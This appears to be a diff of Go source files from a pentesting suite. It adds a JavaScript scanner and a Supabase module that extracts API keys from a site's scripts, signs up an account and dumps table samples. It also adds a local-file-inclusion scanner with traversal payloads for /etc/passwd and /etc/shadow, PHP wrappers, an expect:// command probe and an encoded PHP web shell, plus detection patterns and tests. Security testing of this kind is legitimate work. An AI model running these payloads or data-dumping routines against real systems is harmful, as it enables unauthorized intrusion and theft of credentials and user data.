·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
What we are doing is abusing a internal file in Next.js pages router called
|
||||
_buildManifest.js which lists all routes and script files ever referenced in
|
||||
the application within next.js, this allows us to optimise and not bruteforce
|
||||
directories for routes and instead get all of them at once.
|
||||
|
||||
We are currently parsing this js file with regexes but that should ideally be
|
||||
replaced soon.
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
// nextPagesRegex matches JavaScript file references in Next.js build manifest.
|
||||
var nextPagesRegex = regexp.MustCompile(`\[("([^"]+\.js)"(,?))`)
|
||||
|
||||
func GetPagesRouterScripts(scriptUrl string) ([]string, error) {
|
||||
baseUrl, err := urlutil.Parse(scriptUrl)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp, err := http.Get(scriptUrl)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var sb strings.Builder
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
sb.WriteString(scanner.Text())
|
||||
}
|
||||
manifestText := sb.String()
|
||||
|
||||
list := nextPagesRegex.FindAllStringSubmatch(manifestText, -1)
|
||||
|
||||
var scripts []string
|
||||
|
||||
for _, el := range list {
|
||||
var script = strings.ReplaceAll(el[2], "\\u002F", "/")
|
||||
url, err := urlutil.Parse(script)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url.IsRelative {
|
||||
url.Host = baseUrl.Host
|
||||
url.Scheme = baseUrl.Scheme
|
||||
url.Path = "/_next/" + url.Path
|
||||
}
|
||||
scripts = append(scripts, url.String())
|
||||
}
|
||||
|
||||
return scripts, nil
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package js
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"net/http"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/antchfx/htmlquery"
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
"github.com/dropalldatabases/sif/internal/scan/js/frameworks"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
type JavascriptScanResult struct {
|
||||
SupabaseResults []supabaseScanResult `json:"supabase_results"`
|
||||
FoundEnvironmentVars map[string]string `json:"environment_variables"`
|
||||
}
|
||||
|
||||
// ResultType implements the ScanResult interface.
|
||||
func (r *JavascriptScanResult) ResultType() string { return "js" }
|
||||
|
||||
func JavascriptScan(url string, timeout time.Duration, threads int, logdir string) (*JavascriptScanResult, error) {
|
||||
log := output.Module("JS")
|
||||
log.Start()
|
||||
|
||||
spin := output.NewSpinner("Scanning JavaScript files")
|
||||
spin.Start()
|
||||
|
||||
baseUrl, err := urlutil.Parse(url)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, err
|
||||
}
|
||||
resp, err := http.Get(url)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var sb strings.Builder
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
sb.WriteString(scanner.Text())
|
||||
}
|
||||
html := sb.String()
|
||||
|
||||
doc, err := htmlquery.Parse(strings.NewReader(html))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var scripts []string
|
||||
nodes, err := htmlquery.QueryAll(doc, "//script/@src")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, node := range nodes {
|
||||
var src = htmlquery.InnerText(node)
|
||||
url, err := urlutil.Parse(src)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url.IsRelative {
|
||||
url.Host = baseUrl.Host
|
||||
url.Scheme = baseUrl.Scheme
|
||||
}
|
||||
scripts = append(scripts, url.String())
|
||||
}
|
||||
|
||||
for _, script := range scripts {
|
||||
if strings.Contains(script, "/_buildManifest.js") {
|
||||
log.Info("Detected Next.JS pages router! Getting all scripts from %s", script)
|
||||
nextScripts, err := frameworks.GetPagesRouterScripts(script)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, nextScript := range nextScripts {
|
||||
if slices.Contains(scripts, nextScript) {
|
||||
continue
|
||||
}
|
||||
scripts = append(scripts, nextScript)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Info("Got %d scripts, now running scans on them", len(scripts))
|
||||
|
||||
supabaseResults := make([]supabaseScanResult, 0, len(scripts))
|
||||
for _, script := range scripts {
|
||||
charmlog.Debugf("Scanning %s", script)
|
||||
resp, err := http.Get(script)
|
||||
if err != nil {
|
||||
charmlog.Warnf("Failed to fetch script: %s", err)
|
||||
continue
|
||||
}
|
||||
|
||||
bodyBytes, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
charmlog.Errorf("Failed to read script body: %s", err)
|
||||
continue
|
||||
}
|
||||
content := string(bodyBytes)
|
||||
|
||||
charmlog.Debugf("Running supabase scanner on %s", script)
|
||||
scriptSupabaseResults, err := ScanSupabase(content, script)
|
||||
|
||||
if err != nil {
|
||||
charmlog.Errorf("Error while scanning supabase: %s", err)
|
||||
}
|
||||
|
||||
if scriptSupabaseResults != nil {
|
||||
supabaseResults = append(supabaseResults, scriptSupabaseResults...)
|
||||
}
|
||||
}
|
||||
|
||||
spin.Stop()
|
||||
|
||||
result := JavascriptScanResult{
|
||||
SupabaseResults: supabaseResults,
|
||||
FoundEnvironmentVars: map[string]string{},
|
||||
}
|
||||
|
||||
log.Complete(len(supabaseResults), "found")
|
||||
|
||||
return &result, nil
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// todo: scan for storage and auth vulns
|
||||
|
||||
package js
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
)
|
||||
|
||||
// jwtRegex matches JWT tokens in JavaScript content.
|
||||
var jwtRegex = regexp.MustCompile(`["'\x60](ey[A-Za-z0-9_-]{2,}(?:\.[A-Za-z0-9_-]{2,}){2})["'\x60]`)
|
||||
|
||||
type supabaseJwtBody struct {
|
||||
ProjectId *string `json:"ref"`
|
||||
Role *string `json:"role"`
|
||||
}
|
||||
|
||||
type supabaseScanResult struct {
|
||||
ProjectId string `json:"project_id"`
|
||||
ApiKey string `json:"api_key"`
|
||||
Role string `json:"role"` // note: if this isnt anon its bad
|
||||
Collections []supabaseCollection `json:"collections"`
|
||||
}
|
||||
|
||||
type supabaseCollection struct {
|
||||
Name string `json:"name"`
|
||||
Sample []json.RawMessage `json:"sample"` // raw JSON for deferred parsing
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// supabaseArrayResponse represents a response that is an array with count header.
|
||||
type supabaseArrayResponse struct {
|
||||
Array []json.RawMessage
|
||||
Count int
|
||||
}
|
||||
|
||||
// supabaseAuthResponse represents the auth response from Supabase.
|
||||
type supabaseAuthResponse struct {
|
||||
AccessToken string `json:"access_token"`
|
||||
}
|
||||
|
||||
// supabaseOpenAPIResponse represents the OpenAPI spec response.
|
||||
type supabaseOpenAPIResponse struct {
|
||||
Paths map[string]json.RawMessage `json:"paths"`
|
||||
}
|
||||
|
||||
// getSupabaseArrayResponse fetches a Supabase endpoint that returns an array.
|
||||
func getSupabaseArrayResponse(projectId, path, apikey string, auth *string) (*supabaseArrayResponse, error) {
|
||||
body, resp, err := doSupabaseRequest(projectId, path, apikey, auth)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var arr []json.RawMessage
|
||||
if err := json.Unmarshal(body, &arr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
contentRange := resp.Header.Get("Content-Range")
|
||||
parts := strings.Split(contentRange, "/")
|
||||
if len(parts) < 2 {
|
||||
return nil, errors.New("invalid Content-Range header")
|
||||
}
|
||||
count, err := strconv.Atoi(parts[1])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &supabaseArrayResponse{Array: arr, Count: count}, nil
|
||||
}
|
||||
|
||||
// getSupabaseOpenAPI fetches the OpenAPI spec from Supabase.
|
||||
func getSupabaseOpenAPI(projectId, apikey string, auth *string) (*supabaseOpenAPIResponse, error) {
|
||||
body, _, err := doSupabaseRequest(projectId, "/rest/v1/", apikey, auth)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var spec supabaseOpenAPIResponse
|
||||
if err := json.Unmarshal(body, &spec); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &spec, nil
|
||||
}
|
||||
|
||||
// doSupabaseRequest performs a GET request to the Supabase API.
|
||||
func doSupabaseRequest(projectId, path, apikey string, auth *string) ([]byte, *http.Response, error) {
|
||||
client := http.Client{}
|
||||
|
||||
req, err := http.NewRequest("GET", "https://"+projectId+".supabase.co"+path, nil)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
log.Debugf("Sending request to %s", req.URL.String())
|
||||
req.Header.Set("apikey", apikey)
|
||||
req.Header.Set("Prefer", "count=exact")
|
||||
if auth != nil {
|
||||
req.Header.Set("Authorization", "Bearer "+*auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, nil, errors.New("request to " + resp.Request.URL.String() + " failed with status code " + strconv.Itoa(resp.StatusCode))
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
return body, resp, nil
|
||||
}
|
||||
|
||||
func ScanSupabase(jsContent string, jsUrl string) ([]supabaseScanResult, error) {
|
||||
supabaselog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "🚧 JavaScript > Supabase ⚡️",
|
||||
}).With("url", jsUrl)
|
||||
|
||||
var results = []supabaseScanResult{}
|
||||
jwtGroups := jwtRegex.FindAllStringSubmatch(jsContent, -1)
|
||||
|
||||
var jwts = []string{}
|
||||
|
||||
for _, jwtGroup := range jwtGroups {
|
||||
jwts = append(jwts, jwtGroup[1])
|
||||
}
|
||||
|
||||
slices.Sort(jwts)
|
||||
jwts = slices.Compact(jwts)
|
||||
|
||||
for _, jwt := range jwts {
|
||||
parts := strings.Split(jwt, ".")
|
||||
body := parts[1]
|
||||
|
||||
decoded, err := base64.RawStdEncoding.DecodeString(body)
|
||||
if err != nil {
|
||||
supabaselog.Debugf("Failed to decode JWT %s: %s", body, err)
|
||||
continue
|
||||
}
|
||||
|
||||
supabaselog.Debugf("JWT body: %s", decoded)
|
||||
var supabaseJwt *supabaseJwtBody
|
||||
err = json.Unmarshal([]byte(decoded), &supabaseJwt)
|
||||
if err != nil {
|
||||
supabaselog.Debugf("Failed to json parse JWT %s: %s", jwt, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if supabaseJwt.ProjectId == nil || supabaseJwt.Role == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
supabaselog.Infof("Found valid supabase project %s with role %s", *supabaseJwt.ProjectId, *supabaseJwt.Role)
|
||||
client := http.Client{}
|
||||
|
||||
req, err := http.NewRequest("POST", "https://"+*supabaseJwt.ProjectId+".supabase.co/auth/v1/signup", bytes.NewBufferString(`{"email":"automated`+strconv.Itoa(int(time.Now().Unix()))+`@sif.sh","password":"automatedacct"}`))
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Error while creating HTTP req for creating user: %s", err)
|
||||
continue
|
||||
}
|
||||
req.Header.Set("apikey", jwt)
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Error while sending request to create user: %s", err)
|
||||
continue
|
||||
}
|
||||
|
||||
var auth string
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
resp.Body.Close()
|
||||
return nil, err
|
||||
}
|
||||
resp.Body.Close()
|
||||
|
||||
var authResp supabaseAuthResponse
|
||||
if err := json.Unmarshal(body, &authResp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
auth = authResp.AccessToken
|
||||
supabaselog.Infof("Created account with JWT %s", auth)
|
||||
} else {
|
||||
resp.Body.Close()
|
||||
}
|
||||
|
||||
var collections = []supabaseCollection{}
|
||||
|
||||
openAPI, err := getSupabaseOpenAPI(*supabaseJwt.ProjectId, jwt, &auth)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if openAPI.Paths == nil {
|
||||
return nil, errors.New("paths not found in supabase openapi")
|
||||
}
|
||||
|
||||
for path := range openAPI.Paths {
|
||||
if path == "/" {
|
||||
continue
|
||||
}
|
||||
|
||||
// todo: support for scanning rpc calls
|
||||
if strings.HasPrefix(path, "/rpc/") {
|
||||
continue
|
||||
}
|
||||
|
||||
sampleResp, err := getSupabaseArrayResponse(*supabaseJwt.ProjectId, "/rest/v1"+path, jwt, &auth)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
marshalled, err := json.Marshal(sampleResp.Array)
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Failed to marshal sample data for %s: %s", path, err)
|
||||
}
|
||||
|
||||
supabaselog.Infof("Got sample (1000 entries) for collection %s: %s", path, string(marshalled))
|
||||
|
||||
// limit to first 10 samples
|
||||
sampleLimit := len(sampleResp.Array)
|
||||
if sampleLimit > 10 {
|
||||
sampleLimit = 10
|
||||
}
|
||||
|
||||
collection := supabaseCollection{
|
||||
Name: strings.TrimPrefix(path, "/"),
|
||||
Sample: sampleResp.Array[:sampleLimit], // passed to local LLM for scope
|
||||
Count: sampleResp.Count,
|
||||
}
|
||||
|
||||
if collection.Count > 1 /* one entry may just be for the user */ {
|
||||
collections = append(collections, collection)
|
||||
}
|
||||
}
|
||||
|
||||
result := supabaseScanResult{
|
||||
ProjectId: *supabaseJwt.ProjectId,
|
||||
ApiKey: jwt,
|
||||
Role: *supabaseJwt.Role,
|
||||
Collections: collections,
|
||||
}
|
||||
results = append(results, result)
|
||||
}
|
||||
|
||||
// todo(eva): implement supabase scanning
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
// LFIResult represents the results of LFI reconnaissance
|
||||
type LFIResult struct {
|
||||
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
|
||||
TestedParams int `json:"tested_params"`
|
||||
TestedPayloads int `json:"tested_payloads"`
|
||||
}
|
||||
|
||||
// LFIVulnerability represents a detected LFI vulnerability
|
||||
type LFIVulnerability struct {
|
||||
URL string `json:"url"`
|
||||
Parameter string `json:"parameter"`
|
||||
Payload string `json:"payload"`
|
||||
Evidence string `json:"evidence"`
|
||||
Severity string `json:"severity"`
|
||||
FileIncluded string `json:"file_included,omitempty"`
|
||||
}
|
||||
|
||||
// LFI payloads for directory traversal
|
||||
var lfiPayloads = []struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}{
|
||||
// Linux/Unix paths
|
||||
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
|
||||
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
|
||||
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
|
||||
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
|
||||
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
|
||||
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd%00", "/etc/passwd", "high"},
|
||||
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
|
||||
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
|
||||
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
|
||||
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
|
||||
|
||||
// Windows paths
|
||||
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
|
||||
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
|
||||
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
|
||||
{"../../../../../../../boot.ini", "boot.ini", "high"},
|
||||
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
|
||||
|
||||
// PHP wrappers
|
||||
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
|
||||
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
|
||||
{"expect://id", "command execution", "critical"},
|
||||
{"php://input", "php input", "high"},
|
||||
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
|
||||
}
|
||||
|
||||
// Evidence patterns for LFI detection
|
||||
var lfiEvidencePatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
description string
|
||||
severity string
|
||||
}{
|
||||
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
|
||||
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
|
||||
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
|
||||
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
|
||||
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
|
||||
}
|
||||
|
||||
// Common parameters to test
|
||||
var commonLFIParams = []string{
|
||||
"file", "page", "path", "include", "doc", "document",
|
||||
"folder", "root", "pg", "style", "pdf", "template",
|
||||
"php_path", "lang", "language", "view", "content",
|
||||
"layout", "mod", "conf", "url", "dir", "show",
|
||||
"name", "cat", "action", "read", "load", "open",
|
||||
}
|
||||
|
||||
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
|
||||
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
|
||||
log := output.Module("LFI")
|
||||
log.Start()
|
||||
|
||||
spin := output.NewSpinner("Scanning for LFI vulnerabilities")
|
||||
spin.Start()
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
|
||||
spin.Stop()
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
result := &LFIResult{
|
||||
Vulnerabilities: make([]LFIVulnerability, 0, 16),
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// parse the target URL to check for existing parameters
|
||||
parsedURL, err := url.Parse(targetURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse URL: %w", err)
|
||||
}
|
||||
|
||||
existingParams := parsedURL.Query()
|
||||
paramsToTest := make(map[string]bool)
|
||||
|
||||
// add existing parameters
|
||||
for param := range existingParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
// add common LFI parameters
|
||||
for _, param := range commonLFIParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
result.TestedParams = len(paramsToTest)
|
||||
result.TestedPayloads = len(lfiPayloads)
|
||||
|
||||
log.Info("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
|
||||
|
||||
// create work items
|
||||
type workItem struct {
|
||||
param string
|
||||
payload struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}
|
||||
}
|
||||
|
||||
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
|
||||
for param := range paramsToTest {
|
||||
for _, payload := range lfiPayloads {
|
||||
workItems = append(workItems, workItem{param: param, payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
// distribute work
|
||||
workChan := make(chan workItem, len(workItems))
|
||||
for _, item := range workItems {
|
||||
workChan <- item
|
||||
}
|
||||
close(workChan)
|
||||
|
||||
wg.Add(threads)
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range workChan {
|
||||
// build test URL
|
||||
testParams := url.Values{}
|
||||
for k, v := range existingParams {
|
||||
if k != item.param {
|
||||
testParams[k] = v
|
||||
}
|
||||
}
|
||||
testParams.Set(item.param, item.payload.payload)
|
||||
|
||||
testURL := fmt.Sprintf("%s://%s%s?%s",
|
||||
parsedURL.Scheme,
|
||||
parsedURL.Host,
|
||||
parsedURL.Path,
|
||||
testParams.Encode())
|
||||
|
||||
resp, err := client.Get(testURL)
|
||||
if err != nil {
|
||||
charmlog.Debugf("Error testing %s: %v", testURL, err)
|
||||
continue
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
bodyStr := string(body)
|
||||
|
||||
// check for evidence patterns
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(bodyStr) {
|
||||
key := item.param + "|" + item.payload.payload
|
||||
mu.Lock()
|
||||
if seen[key] {
|
||||
mu.Unlock()
|
||||
break
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
vuln := LFIVulnerability{
|
||||
URL: testURL,
|
||||
Parameter: item.param,
|
||||
Payload: item.payload.payload,
|
||||
Evidence: evidence.description,
|
||||
Severity: item.payload.severity,
|
||||
FileIncluded: item.payload.target,
|
||||
}
|
||||
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
|
||||
mu.Unlock()
|
||||
|
||||
spin.Stop()
|
||||
log.Warn("LFI vulnerability found: %s in param %s - %s",
|
||||
output.SeverityHigh.Render(evidence.description),
|
||||
output.Highlight.Render(item.param),
|
||||
output.Status.Render(item.payload.target))
|
||||
spin.Start()
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir,
|
||||
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
|
||||
evidence.description, item.param, item.payload.payload))
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
spin.Stop()
|
||||
|
||||
// summary
|
||||
if len(result.Vulnerabilities) > 0 {
|
||||
log.Warn("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
|
||||
criticalCount := 0
|
||||
highCount := 0
|
||||
for _, v := range result.Vulnerabilities {
|
||||
if v.Severity == "critical" {
|
||||
criticalCount++
|
||||
} else if v.Severity == "high" {
|
||||
highCount++
|
||||
}
|
||||
}
|
||||
if criticalCount > 0 {
|
||||
log.Error("%d CRITICAL vulnerabilities found!", criticalCount)
|
||||
}
|
||||
if highCount > 0 {
|
||||
log.Warn("%d HIGH severity vulnerabilities found", highCount)
|
||||
}
|
||||
log.Complete(len(result.Vulnerabilities), "found")
|
||||
} else {
|
||||
log.Info("No LFI vulnerabilities detected")
|
||||
log.Complete(0, "found")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// DetectLFIFromResponse checks a response body for LFI evidence
|
||||
func DetectLFIFromResponse(body string) (bool, string) {
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(body) {
|
||||
return true, evidence.description
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDetectLFIFromResponse_EtcPasswd(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
expectDesc string
|
||||
}{
|
||||
{
|
||||
name: "root entry",
|
||||
body: "root:x:0:0:root:/root:/bin/bash",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "daemon entry",
|
||||
body: "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "nobody entry",
|
||||
body: "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "no evidence",
|
||||
body: "<html><body>Hello World</body></html>",
|
||||
expectFound: false,
|
||||
expectDesc: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
